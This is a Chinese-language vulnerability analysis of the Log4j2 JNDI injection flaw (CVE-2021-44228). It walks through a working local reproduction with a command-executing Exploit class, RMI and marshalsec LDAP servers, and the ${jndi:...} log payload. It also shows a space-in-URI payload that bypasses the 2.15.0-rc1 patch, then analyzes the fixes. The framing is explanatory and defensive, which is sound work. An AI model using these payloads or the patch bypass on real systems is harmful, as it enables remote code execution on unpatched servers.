Log4j2的JNDI注入漏洞（CVE-2021-44228）原理分析与思考

前言

最近Log4j2的JNDI注入漏洞（CVE-2021-44228）可以称之为“核弹”级别。Log4j2作为类似JDK级别的基础类库，几乎没人能够幸免。本篇文章即对该漏洞进行复现和分析其形成原理。

以下涉及的代码，均在mac OS 10.14.5，JDK1.8.0_91环境下成功运行。

一、前置知识

1.1 Log4j2

Log4j2是一个Java日志组件，被各类Java框架广泛地使用。它的前身是Log4j，Log4j2重新构建和设计了框架，可以认为两者是完全独立的两个日志组件。本次漏洞影响范围为Log4j2最早期的版本2.0-beta9到2.15.0。

因为存在前身Log4j，而且都是Apache下的项目，不管是jar包名称还是package名称，看起来都很相似，导致有些人分不清自己用的是Log4j还是Log4j2。这里给出几个辨别方法：

Log4j2分为2个jar包，一个是接口log4j-api-${版本号}.jar，一个是具体实现log4j-core-${版本号}.jar。Log4j只有一个jar包log4j-${版本号}.jar。
Log4j2的版本号目前均为2.x。Log4j的版本号均为1.x。
Log4j2的package名称前缀为org.apache.logging.log4j。Log4j的package名称前缀为org.apache.log4j。

1.2 Log4j2 Lookup

Log4j2的Lookup主要功能是通过引用一些变量，往日志中添加动态的值。这些变量可以是外部环境变量，也可以是MDC中的变量，还可以是日志上下文数据等。

下面是一个简单的Java Lookup例子和输出：

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.ThreadContext;

public class Log4j2Lookup {
public static final Logger LOGGER = LogManager.getLogger(Log4j2RCEPoc.class);

public static void main(String[] args) {
    ThreadContext.put("userId", "test");
    LOGGER.error("userId: ${ctx:userId}");
}
}

10:21:19.618 [main] ERROR Log4j2RCEPoc – userId: test
从上面的例子可以看到，通过在日志字符串中加入”${ctx:userId}”，Log4j2在输出日志时，会自动在Log4j2的ThreadContext中查找并引用userId变量。格式类似”${type:var}”，即可以实现对变量var的引用。type可以是如下值：

ctx：允许程序将数据存储在 Log4j ThreadContext Map 中，然后在日志输出过程中，查找其中的值。
env：允许系统在全局文件（如 /etc/profile）或应用程序的启动脚本中配置环境变量，然后在日志输出过程中，查找这些变量。例如：${env:USER}。
java：允许查找Java环境配置信息。例如：${java:version}。
jndi：允许通过 JNDI 检索变量。
……
其中和本次漏洞相关的便是jndi，例如：${jndi:rmi//127.0.0.1:1099/a}，表示通过JNDI Lookup功能，获取rmi//127.0.0.1:1099/a上的变量内容。

1.3 JNDI

JNDI（Java Naming and Directory Interface，Java命名和目录接口），是Java提供的一个目录服务应用程序接口（API），它提供一个目录系统，并将服务名称与对象关联起来，从而使得开发人员在开发过程中可以使用名称来访问对象。

例如使用数据库，需要在各个应用中配置各种数据库相关的参数后使用。通过JNDI，可以将数据库相关的配置在一个支持JNDI服务的容器（通常Tomat等Web容器均支持）中统一完成，并暴露一个简洁的名称，该名称背后绑定着一个DataSource对象。各个应用只需要通过该名称和JNDI接口，获取该名称背后的DataSource对象。当然，现在SpringBoot单体发布模式，极少会使用这种方式了。

再举个更简单的例子，这有点类似DNS提供域名到IP地址的解析服务。域名简洁易懂，便于普通用户使用，背后真正对应的是一个复杂难记的IP，甚至还可能是多个IP。DNS即JNDI服务，域名即可用于绑定和查找的名称，IP即该名称绑定的真正对象。用现代可以类比的技术来说，JNDI就是一个对象注册中心。

JNDI由三部分组成：JNDI API、Naming Manager、JNDI SPI。JNDI API是应用程序调用的接口，JNDI SPI是具体实现，应用程序需要指定具体实现的SPI。

下面是一个简单的例子：

public interface Hello extends java.rmi.Remote {
public String sayHello(String from) throws java.rmi.RemoteException;
}
import java.rmi.server.UnicastRemoteObject;

public class HelloImpl extends UnicastRemoteObject implements Hello {
public HelloImpl() throws java.rmi.RemoteException {
super();
}

@Override
public String sayHello(String from) throws java.rmi.RemoteException {
    System.out.println("Hello from " + from + "!!");
    return "sayHello";
}
}
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;

public class HelloServer {
public static void main(String[] args) throws RemoteException, NamingException {
LocateRegistry.createRegistry(1099);
System.setProperty(Context.INITIAL_CONTEXT_FACTORY, “com.sun.jndi.rmi.registry.RegistryContextFactory”);
System.setProperty(Context.PROVIDER_URL, “rmi://localhost:1099”);
InitialContext context = new InitialContext();
context.bind(“java:hello”, new HelloImpl());
context.close();
}
}
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class HelloClient {
public static void main(String[] args) throws NamingException, RemoteException {
System.setProperty(Context.INITIAL_CONTEXT_FACTORY, “com.sun.jndi.rmi.registry.RegistryContextFactory”);
System.setProperty(Context.PROVIDER_URL, “rmi://localhost:1099”);
InitialContext context = new InitialContext();
Hello rmiObject = (Hello) context.lookup(“java:hello”);
System.out.println(rmiObject.sayHello(“world”));
context.close();
}
}

先运行HelloServer，再运行HelloClient，即可看到运行输出的结果：sayHello。

HelloServer将HelloImpl对象绑定到java:hello名称上。HelloClient使用java:hello名称，即可获取HelloImpl对象。

1.4 JNDI注入

由前面的例子可以看到，JNDI服务管理着一堆的名称和这些名称上绑定着的对象。如果这些对象不是本地的对象，会如何处理？JNDI还支持从指定的远程服务器上下载class文件，加载到本地JVM中，并通过适当的方式创建对象。

“class文件加载到本地JVM中，并通过适当的方式创建对象”，在这个过程中，static代码块以及创建对象过程中的某些特定回调方法即有机会被执行。JNDI注入正是基于这个思路实现的。

本篇文章主要分析Log4j2的JNDI注入产生原因，并不会对JNDI注入自身太过关注，网上也有大量分析的文章可供参考，这里就不再详述了。

二、漏洞复现

以下复现使用Log4j2-2.14.1版本，maven的引用依赖参考如下：

<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>

<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
1.编写漏洞利用代码Exploit并编译生成Exploit.class。代码如下：
public class Exploit {
static {
String cmd = “/Applications/Calculator.app/Contents/MacOS/Calculator”;
final Process process;
try {
process = Runtime.getRuntime().exec(cmd);
process.waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}
}

2.本地执行python3 -m http.server 8081，启动web服务器，监听在8081端口。将上一步编译生成的Exploit.class文件放到web服务的根目录（根目录即为执行python3 -m http.server 8081命令的工作目录）。
3.编写RMI服务端代码RMIServer，并编译运行。代码如下：

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference exploit = new Reference(“Exploit”, “Exploit”, “http://127.0.0.1:8081/“);
ReferenceWrapper exploitWrapper = new ReferenceWrapper(exploit);
registry.bind(“exp”, exploitWrapper);
}
}

4.编写漏洞poc代码，并编译运行。代码和运行结果如下：

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4j2RCEPoc {
public static final Logger LOGGER = LogManager.getLogger(Log4j2RCEPoc.class);

public static void main(String[] args) {
    LOGGER.error("${jndi:rmi://127.0.0.1:1099/exp}");
}
}

三、漏洞原理

由于是JNDI注入，因此可以通过在InitialContext.lookup(String name)方法上设置端点，观察整个漏洞触发的调用堆栈，来了解原理。

整个调用堆栈较深，这里把几个关键点提取整理如下：

LOGGER.error
……
MessagePatternConverter.format
….
StrSubstitutor.resolveVariable
Interpolator.lookup
JndiLookup.lookup
JndiManager.lookup
InitialContext.lookup

3.1 MessagePatternConverter.format()

poc代码中的LOGGER.error()方法最终会调用到MessagePatternConverter.format()方法，该方法对日志内容进行解析和格式化，并返回最终格式化后的日志内容。当碰到日志内容中包含${子串时，调用StrSubstitutor进行进一步解析。

3.2 StrSubstitutor.resolveVariable()

StrSubstitutor将${和}之间的内容提取出来，调用并传递给Interpolator.lookup()方法，实现Lookup功能。

3.3 Interpolator.lookup()

Interpolator实际是一个实现Lookup功能的代理类，该类在成员变量strLookupMap中保存着各类Lookup功能的真正实现类。Interpolator对上一步提取出的内容解析后，从strLookupMap获得Lookup功能实现类，并调用实现类的lookup()方法。

例如对poc例子中的jndi:rmi://127.0.0.1:1099/exp解析后得到jndi的Lookup功能实现类为JndiLookup，并调用JndiLookup.lookup()方法。

3.4 JndiLookup.lookup()

JndiLookup.lookup()方法调用JndiManager.lookup()方法，获取JNDI对象后，调用该对象上的toString()方法，最终返回该字符串。

3.5 JndiManager.lookup()

JndiManager.lookup()较为简单，直接委托给InitialContext.lookup()方法。这里单独提到该方法，是因为后续几个补丁中较为重要的变更即为该方法。

至此，后续即可以按照常规的JNDI注入路径进行分析。

四、补丁分析

4.1 2.15.0-rc1

通过比较2.15.0-rc1和该版本之前最后一个版本2.14.1之间的差异，可以发现Log4j2团队在12月5日提交了一个名为Restrict LDAP access via JNDI (#608)的commit。该commit的详细内容如下链接：

https://github.com/apache/logging-log4j2/commit/c77b3cb39312b83b053d23a2158b99ac7de44dd3

除去一些测试代码和辅助代码，该commit最主要内容是在3.5章节中提到的 JndiManager.lookup()方法增加了几种限制，分别是allowedHosts、allowedClasses、allowedProtocols。

各个限制的内容分别如下：

allowedHosts

allowedClasses

allowedProtocols

可以看到，rc1补丁通过对JNDI Lookup增加白名单的方式，限制默认可以访问的主机为本地IP，限制默认支持的协议类型为java、ldap、ldaps，限制LDAP协议默认可以使用的Java类型为少数基础类型，从而大大减少了默认的攻击面。

4.2 2.15.0-rc2

4.2.1 rc1中存在的问题

在rc1还未正式成为release版本之前，Log4j团队又在两天不到的时间里发布了rc2版本，说明rc1依然存在着一些问题。我们来看下rc1里主要修复的JndiManager.lookup()方法的整体逻辑结构：

public synchronized <T> T lookup(final String name) throws NamingException {
    try {
        URI uri = new URI(name);
        if (uri.getScheme() != null) {
            if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
                ......
                return null;
            }
            if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
                if (!allowedHosts.contains(uri.getHost())) {
                    ......
                    return null;
                }
                ......
                if (!allowedClasses.contains(className)) {
                    ......
                    return null;
                }
                ......
            }
        }
    } catch (URISyntaxException ex) {
        // This is OK.
    }
    return (T) this.context.lookup(name);
}

从上面的代码结构中可以总结如下的逻辑：

对传入的name参数进行4.1章节提到的各类检查。如果检查不通过，则直接返回null。
如果产生URISyntaxException，则对该异常忽略，继续执行this.context.lookup(name)。
如果未产生URISyntaxException，则执行this.context.lookup(name)。
我们重点关注catch代码块，rc1默认不对URISyntaxException异常做任何处理，继续执行后续逻辑，即this.context.lookup(name)。

再看下try代码块中可能产生URISyntaxException的地方。很不幸，try代码块的第一个语句即可能产生该异常：URI uri = new URI(name);。

试想一下，如果能够构造某个特殊的URI，导致URI uri = new URI(name);语句解析URI异常，抛出URISyntaxException，但又能被this.context.lookup(name)正确处理，不就可以绕过了吗？

4.2.2 绕过rc1

由于rc1未在maven中央仓库上，因此需要自行下载代码并构建：

到Log4j2的GitHub官方仓库下载rc1：https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1。分别进入log4j-api和log4j-core目录，执行mvn clean install -DskipTests。最终会在本地maven仓库上生成rc1的jar包，版本为2.15.0，后续测试使用该jar包。

由于rc1默认未开启Lookup功能，需要先开启，可以通过在配置文件的%msg中添加{lookup}进行开启。在当前类路径下添加log4j2.xml，内容参考如下：

<Configuration>
<Appenders>
<Console name="CONSOLE">
<PatternLayout>
<pattern>%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg{lookups}%n</pattern>
</PatternLayout>
</Console>
</Appenders>
<Loggers>
<Root level="DEBUG">
<AppenderRef ref="CONSOLE"/>
</Root>
</Loggers>
</Configuration>

1.漏洞利用代码和二、漏洞利用章节中一致，编译生成Exploit.class。
2.本地执行python3 -m http.server 8081，启动web服务器，监听在8081端口。将上一步编译生成的Exploit.class文件放到web服务的根目录（根目录即为执行python3 -m http.server 8081命令的工作目录）。
3.由于rc1中默认仅支持java、ldap、ldaps这三种协议，就使用LDAP协议吧。自己搭建LDAP服务器比较麻烦，这里直接利用下marshalsec这个库。运行java -cp ./marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8081/#Exploit 8888，启动LDAP服务。
4.编写漏洞poc代码，并编译运行。代码和运行结果如下：

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4j2RC1Bypass {
public static final Logger LOGGER = LogManager.getLogger(Log4j2RC1Bypass.class);

public static void main(String[] args) {
    LOGGER.error("${jndi:ldap://127.0.0.1:8888/ exp}");
}
}

可以看到，通过构建一个简单的带空格的异形URI地址（127.0.0.1:8888/ 和exp之间），rc1被绕过了。

4.2.3 rc2的修复方案

通过比较2.15.0-rc1和2.15.0-rc2之间的差异，可以发现Log4j2团队在12月10日提交了一个名为Handle URI exception的commit。该commit的详细内容如下链接：

https://github.com/apache/logging-log4j2/commit/bac0d8a35c7e354a0d3f706569116dff6c6bd658

该commit主要内容是对rc1中JndiManager.lookup()方法里的catch代码块进行了修改：当URISyntaxException异常被捕获时，直接返回null。从而无法使用上一章节的异形URI地址绕过。

五、思考

本次漏洞就其原理来说，并不复杂，甚至有些简单。rc1中采用较为严格的白名单限制，就应急处理方法上来看，无可厚非。但从历史上发生的各类漏洞修补过程中来看，必定会有各种地方遗漏导致后续不停地打补丁。从软件开发角度讲，与其在上线后不停修复打补丁，不如在开发早期，即设计阶段或者开发阶段，尽量避免这类既有可能产生安全风险的设计。在最新版本的2.16.0，Log4j2团队干脆默认禁用掉了JNDI Lookup功能。

另外，rc1中catch代码对异常的处理方式，在日常开发过程中也是容易犯的问题。安全中有一个原则，叫做“Fail Safely”，意为安全地处理错误。安全地处理错误是安全编程的一个重要方面。在程序设计时，要确保安全控制模块在发生异常时遵循了禁止操作的处理逻辑。例如：一个判断用户验证是否通过的代码，默认应该设定用户验证不通过，仅仅在用户验证通过时才设置为验证通过。这样即使在验证过程中发生了异常，并且该异常无意间被捕获时，任然能确保用户验证不通过。

因为Log4j2框架几乎是一个类似JDK级别的基础类库，即便自身应用程序里完成了升级，但仍有极其庞大的其它框架、中间件，导致升级工作极为困难，甚至在几年内都无法达到一个可接受的水平。目前，绝大部分公司采取在边界防护设备上使用“临时补丁”的方式。同时，大量bypass方法也随之而来，这将是一个漫长的过程。

参考

Log4j2 Lookups： https://logging.apache.org/log4j/2.x/manual/lookups.html
Oracle JNDI官方文档： https://docs.oracle.com/javase/tutorial/jndi/overview/index.html
一篇JNDI注入原理文章： http://blog.topsec.com.cn/java-jndi%E6%B3%A8%E5%85%A5%E7%9F%A5%E8%AF%86%E8%AF%A6%E8%A7%A3/
marshalsec： https://github.com/mbechler/marshalsec
Log4j2 2.14.1和2.15.0-rc1的区别比较： https://github.com/apache/logging-log4j2/compare/rel/2.14.1…log4j-2.15.0-rc1
Log4j2 2.15.0-rc1和rc2的区别比较： https://github.com/apache/logging-log4j2/compare/log4j-2.15.0-rc1…log4j-2.15.0-rc2

（完）

前言

一、 前置知识